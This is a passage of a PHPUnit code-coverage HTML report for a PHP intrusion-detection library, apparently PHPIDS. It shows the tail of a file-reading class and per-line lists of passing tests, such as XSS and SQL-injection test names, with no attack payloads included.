id="line176"> 176</a> </span> : * Read file and stripslashes if required -<span class="lineNum" id="container177"><a name="177"></a><a href="#177" id="line177"> 177</a> </span> : * -<span class="lineNum" id="container178"><a name="178"></a><a href="#178" id="line178"> 178</a> </span> : * @param string $filename Name of the file to read -<span class="lineNum" id="container179"><a name="179"></a><a href="#179" id="line179"> 179</a> </span> : * @return string -<span class="lineNum" id="container180"><a name="180"></a><a href="#180" id="line180"> 180</a> </span> : */ -<span class="lineNum" id="container181"><a name="181"></a><a href="#181" id="line181"> 181</a> </span> : protected function readFile($filename) -<span class="lineNum" id="container182"><a name="182"></a><a href="#182" id="line182"> 182</a> </span> : { -<span class="lineNum" id="container183"><a name="183"></a><a href="#183" id="line183"> 183</a> </span><span class="lineCov"> 42 : @set_magic_quotes_runtime(0); </span> -<span class="lineNum" id="container184"><a name="184"></a><a href="#184" id="line184"> 184</a> </span><span class="lineCov"> 42 : $content = file_get_contents($filename); </span> -<span class="lineNum" id="container185"><a name="185"></a><a href="#185" id="line185"> 185</a> </span><span class="lineCov"> 42 : if (function_exists('get_magic_quotes_runtime') and </span> -<span class="lineNum" id="container186"><a name="186"></a><a href="#186" id="line186"> 186</a> </span><span class="lineCov"> 42 : get_magic_quotes_runtime()) { </span> -<span class="lineNum" id="container187"><a name="187"></a><a href="#187" id="line187"> 187</a> </span> : -<span class="lineNum" id="container188"><a name="188"></a><a href="#188" id="line188"> 188</a> </span><span class="lineNoCov"> 0 : $content = stripslashes($content); </span> -<span class="lineNum" id="container189"><a name="189"></a><a href="#189" id="line189"> 189</a> </span><span class="lineNoCov"> 0 : } </span> -<span class="lineNum" id="container190"><a name="190"></a><a href="#190" id="line190"> 190</a> </span><span class="lineCov"> 42 : return $content; </span> -<span class="lineNum" id="container191"><a name="191"></a><a href="#191" id="line191"> 191</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container192"><a name="192"></a><a href="#192" id="line192"> 192</a> </span> : } -<span class="lineNum" id="container193"><a name="193"></a><a href="#193" id="line193"> 193</a> </span> : -<span class="lineNum" id="container194"><a name="194"></a><a href="#194" id="line194"> 194</a> </span> : /* -<span class="lineNum" id="container195"><a name="195"></a><a href="#195" id="line195"> 195</a> </span> : * Local variables: -<span class="lineNum" id="container196"><a name="196"></a><a href="#196" id="line196"> 196</a> </span> : * tab-width: 4 -<span class="lineNum" id="container197"><a name="197"></a><a href="#197" id="line197"> 197</a> </span> : * c-basic-offset: 4 -<span class="lineNum" id="container198"><a name="198"></a><a href="#198" id="line198"> 198</a> </span> : * End: -<span class="lineNum" id="container199"><a name="199"></a><a href="#199" id="line199"> 199</a> </span> : */ - -</pre> - </td> - </tr> - </table> - - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - <tr><td class="versionInfo">Generated by <a href="http://www.phpunit.de/">PHPUnit 3.3.1</a> and <a href="http://www.xdebug.org/">Xdebug 2.1.0-dev</a> at Mon Dec 22 13:57:42 CET 2008.</td></tr> - </table> - - <br /> - - <script language="javascript"> - $E = YAHOO.util.Event; - YAHOO.namespace("phpunit.container"); - YAHOO.phpunit.container.panelsData = { - "panel34": { - "header": "1 test covers line 34", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel52": { - "header": "1 test covers line 52", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel94": { - "header": "1 test covers line 94", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel95": { - "header": "1 test covers line 95", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel96": { - "header": "1 test covers line 96", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel98": { - "header": "1 test covers line 98", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel103": { - "header": "1 test covers line 103", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel115": { - "header": "45 tests cover line 115", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingFile(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel116": { - "header": "1 test covers line 116", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel117": { - "header": "1 test covers line 117", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel119": { - "header": "45 tests cover line 119", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingFile(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel132": { - "header": "44 tests cover line 132", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel133": { - "header": "44 tests cover line 133", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel139": { - "header": "44 tests cover line 139", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel140": { - "header": "44 tests cover line 140", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel141": { - "header": "3 tests cover line 141", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel143": { - "header": "3 tests cover line 143", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel147": { - "header": "3 tests cover line 147", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel148": { - "header": "3 tests cover line 148", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel149": { - "header": "3 tests cover line 149", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel151": { - "header": "44 tests cover line 151", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel166": { - "header": "43 tests cover line 166", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li 